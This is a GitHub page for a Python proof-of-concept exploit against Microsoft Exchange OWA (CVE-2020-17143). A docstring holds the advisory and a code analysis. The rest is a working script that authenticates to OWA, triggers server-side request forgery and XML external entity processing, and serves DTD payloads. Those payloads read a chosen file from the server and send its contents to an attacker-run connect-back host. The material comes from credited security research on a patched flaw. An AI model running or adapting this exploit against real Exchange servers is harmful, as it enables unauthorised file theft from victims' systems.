forked from FDlucifer/Proxy-Attackchain
-
Notifications
You must be signed in to change notification settings - Fork 0
/
cve-2020-17143.py
201 lines (180 loc) · 9.2 KB
/
cve-2020-17143.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
#!/usr/bin/env python3
"""
Microsoft Exchange Server OWA OneDriveProUtilities GetWacUrl XML External Entity Processing Information Disclosure Vulnerability
Advisory: https://srcincite.io/advisories/src-2020-0030/
Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17143
## Summary
This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of the GetWacIframeUrlForOneDrive service command. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.
## Affected
Fully patched version of Exchange 2016 and Exchange 2019 have been confirmed vulnerable
## Vulnerability Analysis
Inside of the `Microsoft.Exchange.Clients.Owa2.Server.dll` library the following class is reachable from an authenticated request:
```
namespace Microsoft.Exchange.Clients.Owa2.Server.Core
{
internal class GetWacIframeUrlForOneDrive : ServiceCommand<string>
{
public GetWacIframeUrlForOneDrive(ICallContext callContext, GetWacIframeUrlForOneDriveRequest request) : base(callContext)
{
this.endPointUrl = request.EndPointUrl;
this.documentUrl = request.DocumentUrl;
this.isEdit = request.IsEdit;
}
protected override string InternalExecute() // 1
{
UserContext userContext = UserContextManager.GetUserContext(base.CallContext.HttpContext, base.CallContext.EffectiveCaller, true);
if (userContext == null)
{
throw new OwaInvalidRequestException("Unable to determine user context.");
}
string wacUrl;
try
{
this.endPointUrl = this.GetEndpointUrl(this.endPointUrl, this.documentUrl, userContext); // 2
wacUrl = OneDriveProUtilities.GetWacUrl(base.CallContext, userContext.MailboxIdentity, this.endPointUrl, this.documentUrl, this.isEdit, userContext.FeaturesManager); // 4
}
catch (Exception ex)
{
ex.ToString();
throw;
}
return wacUrl;
}
private string GetEndpointUrl(string endpointUrl, string documentUrl, UserContext userContext)
{
if (string.IsNullOrEmpty(endpointUrl))
{
AttachmentDataProvider defaultUploadDataProvider = userContext.AttachmentDataProviderManager.GetDefaultUploadDataProvider(base.CallContext);
if (defaultUploadDataProvider != null)
{
endpointUrl = defaultUploadDataProvider.GetEndpointUrlFromItemLocation(documentUrl, false);
}
}
return endpointUrl; // 3
}
```
When an authenticated request is made with the `Action: GetWacIframeUrlForOneDrive` header, the above class is instantiated and the `InternalExecute` method is called at *[1]*. At *[2]* code calls `GetEndpointUrl` which returns the attacker supplied `endpointUrl` at *[3]*. Then at *[4]* the code calls `OneDriveProUtilities.GetWacUrl` with the attacker controlled `endPointUrl`.
```
internal static string GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, FeaturesManager featuresManager)
{
bool isSPGetWacTokenEnabled = featuresManager != null && featuresManager.ServerSettings.SPGetWacToken.Enabled;
WacUrlInfo wacUrl = OneDriveProUtilities.GetWacUrl(callContext, identity, endPointUrl, documentUrl, isEdit, isSPGetWacTokenEnabled); // 5
string text = isEdit ? "OwaEdit" : "OwaView";
return string.Format("{0}&access_token={1}&access_token_ttl={2}&sc={3}", new object[]
{
wacUrl.BaseUrl,
wacUrl.Token,
wacUrl.TokenTtl,
text
});
}
internal static WacUrlInfo GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, bool isSPGetWacTokenEnabled)
{
string actionOrAppId = isEdit ? "2" : "4";
if (isSPGetWacTokenEnabled)
{
actionOrAppId = (isEdit ? "1" : "0");
}
string getWacTokenUrlFormat = isSPGetWacTokenEnabled ? "{0}/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p, requestedAction={2})?@p='{1}'" : "{0}/_api/Microsoft.SharePoint.Yammer.WACAPI.GetWacToken(fileUrl=@p, wopiAction={2})?@p='{1}'";
WebResponse tokenRequestWebResponse = OneDriveProUtilities.GetTokenRequestWebResponse(callContext, identity, getWacTokenUrlFormat, endPointUrl, documentUrl, actionOrAppId, "GetWacToken", "SP.GWT"); // 6
XmlDocument xmlDocument = new XmlDocument();
OneDriveProUtilities.EndBudget(callContext);
xmlDocument.Load(tokenRequestWebResponse.GetResponseStream()); // 7
//..
}
```
At *[5]* the code calls `OneDriveProUtilities.GetWacUrl` with a different signature and at *[6]* a server-side request forgery is triggered with the attacker supplied URI. The issue is at *[7]* though, where the response from the request is parsed to `XmlDocument.Load` which uses the default entity resolver leading to external entity processing.
## Credit
Steven Seeley of Qihoo 360 Vulcan Team and Chris Anastasio
## Example
```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <connectback ip:port> <file>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
(+) triggered xxe in exchange server!
(+) stolen: /leaked?%3C!%5BCDATA%5Bomgthisisasecret0day%5D%5D%3E
```
"""
import re
import sys
import urllib3
import requests
from threading import Thread
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class xxe(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def _set_response(self, d):
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.send_header('Content-Length', len(d))
self.end_headers()
def do_GET(self):
if "leaked" in self.path:
print("(+) stolen: %s" % self.path)
message = "<![CDATA[ <![ INCLUDE[]]> ]]>"
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.dtd" in self.path:
print("(+) triggered xxe in exchange server!")
message = """
<!ENTITY %% payload "%%start;%%stuff;%%end;">
<!ENTITY %% param1 '<!ENTITY % external SYSTEM "http://%s:%d/leaked?%%payload;">'>
%%param1; %%external;""" % (host, int(port))
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.xml" in self.path:
d = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY %% start "<![CDATA[">
<!ENTITY %% stuff SYSTEM "file:///%s">
<!ENTITY %% end "]]>">
<!ENTITY %% dtd SYSTEM "http://%s:%d/poc.dtd">
%%dtd;
]>""" % (file, host, int(port))
self._set_response(d)
self.wfile.write(d.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
return
def main(t, usr, pwd, port):
server = HTTPServer(('0.0.0.0', port), xxe)
handlerthr = Thread(target=server.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
s = requests.Session()
d = {
"destination" : "https://%s/owa" % t,
"flags" : "",
"username" : usr,
"password" : pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
h = {
"X-OWA-UrlPostData" : '{"request":{"DocumentUrl":"","EndPointUrl":"http://%s:%d/poc.xml"}}' % (host, port),
"Action" : "GetWacIframeUrlForOneDrive"
}
r = s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
h["X-OWA-CANARY"] = s.cookies.get(name='X-OWA-CANARY')
s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s <target> <user:pass> <connectback ip:port> <file>" % sys.argv[0])
print("(+) eg: %s 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
host = sys.argv[3]
port = 9090
file = sys.argv[4]
if ":" in sys.argv[3]:
host = sys.argv[3].split(":")[0]
port = sys.argv[3].split(":")[1]
assert port.isdigit(), "(-) not a port number!"
main(trgt, usr, pwd, int(port))